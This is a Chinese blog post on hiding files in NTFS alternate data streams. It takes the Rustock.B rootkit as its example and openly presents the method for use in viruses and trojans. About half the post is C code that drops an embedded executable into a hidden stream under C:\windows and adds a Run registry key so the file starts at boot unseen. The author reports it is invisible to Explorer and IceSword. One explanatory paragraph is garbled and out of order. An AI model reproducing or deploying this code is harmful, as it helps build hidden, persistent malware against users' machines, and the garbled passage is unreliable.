基于文件流的文件隐藏技术

 
                            基于文件流的文件隐藏技术
                                                        ---------X-STAR(CISRG) 
最近在分析一个国外的 Rootkit --Rustock.B.Rootkti , 发现 Rustock.B 就用的 ADS Stream 的方法来隐藏自身 .
Rustock.B.Rootkit 执行的时候在 NTFS 文件系统中释放 C:/windows/system32:lzx32.sys 这个流 , 而这个流在 windows explorer 中根本看不到这个流 , 但是这个文件是确实存在的 , 而且也是可以被执行的 . 这样就实现了隐藏了 .
虽然这也不是什么新鲜的技术了 , 但是还是有必要记录一下 , 必竟还不是有太多人了解 . 而且也会常常被人忽略 .
那么什么是 ADS ? Microsoft 又为什么要在 NTFS 文件系统中用到这个流呢 ?
其实这个流就是alternate data streams(交换数据流).
NTFS交换数据 (ADSs)是为了和Macintosh的HFS文件系统兼容而设计的,它使用资源派生(resource forks)来维持与文件,比如说图标及其他的东西.而微软提供了一种方法通过Windows explorer来创建特殊的ADSs,检测这种特殊的ADSs的必要工具和功能相当缺乏.说来也奇怪,系统一直以来都有允许用户创建ADSs以及在这种文件.Microsoft KnowledgeBase 中Q101353号文章承认了基于API的win32不能很好的支持ADSs.中执行隐藏代码的功能和工具相关的信息
 
好了. 现在我们已经对这个流有个概念性的了解,下面开始讲解如何在病毒程序或者其它木马程序中应用这个流.
              char buffer[]="c://windows:b.exe";// 注意这里的 : 而不是 /
              HFILE hfile = _lcreat(buffer,0);
             
              HRSRC rsrc;
              HGLOBAL hglobal;
              unsigned char * lpvoid;
              DWORD DFileSize;
              rsrc = FindResource(NULL,MAKEINTRESOURCE(IDR_RS_DATA1),"RS_DATA");
              if (rsrc==NULL)
              {
                            ::MessageBox(NULL,"can't find the resource",NULL,MB_OK);
                            ExitProcess(0);
              }
              hglobal = LoadResource(NULL,rsrc);
              DFileSize = SizeofResource(NULL,rsrc);
              lpvoid = (unsigned char *)LockResource(hglobal);
              UINT uwrite;
              while(DFileSize--)
              {
                           
                            uwrite= _lwrite(hfile,(char *)lpvoid,1);
                            if(HFILE_ERROR==uwrite)
                            {
                                          //MessageBox("write error");
                                         
                            }
                            lpvoid++;
              }
              if(hfile==HFILE_ERROR)
              {
                            //printf("create file error/n");
                            exit(0);
              }
             
              _lclose(hfile);
              HKEY phkey;
              long keyopen = RegOpenKeyEx(
                            HKEY_CURRENT_USER,
                            "Software//Microsoft//Windows//CurrentVersion//Run",0,KEY_SET_VALUE,&phkey
);
              if(keyopen!=ERROR_SUCCESS)
              {
                            AfxMessageBox("error open key");
              }
              RegSetValueEx(phkey,"b.exe",0,REG_SZ,(const unsigned char *)buffer,sizeof(buffer));
              RegCloseKey(phkey);
              //return 0;
 
 
通过这个程序 , 我们就能创建一个 ADS 文件流了 ( 这里的资源文件文件我用的是记事本程序 ).
重启之后 , 你就会发现记事本程序自动运行了 . 但是在文件系统中你根本找不到这个文件 . 而且 IceSword 也看不到 .
这样一个基于 ADS 交换流的隐藏木马就完成了 .
但是这个流有一个局限就是只存于在基于 NTFS Windows 系统中 .
 
  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值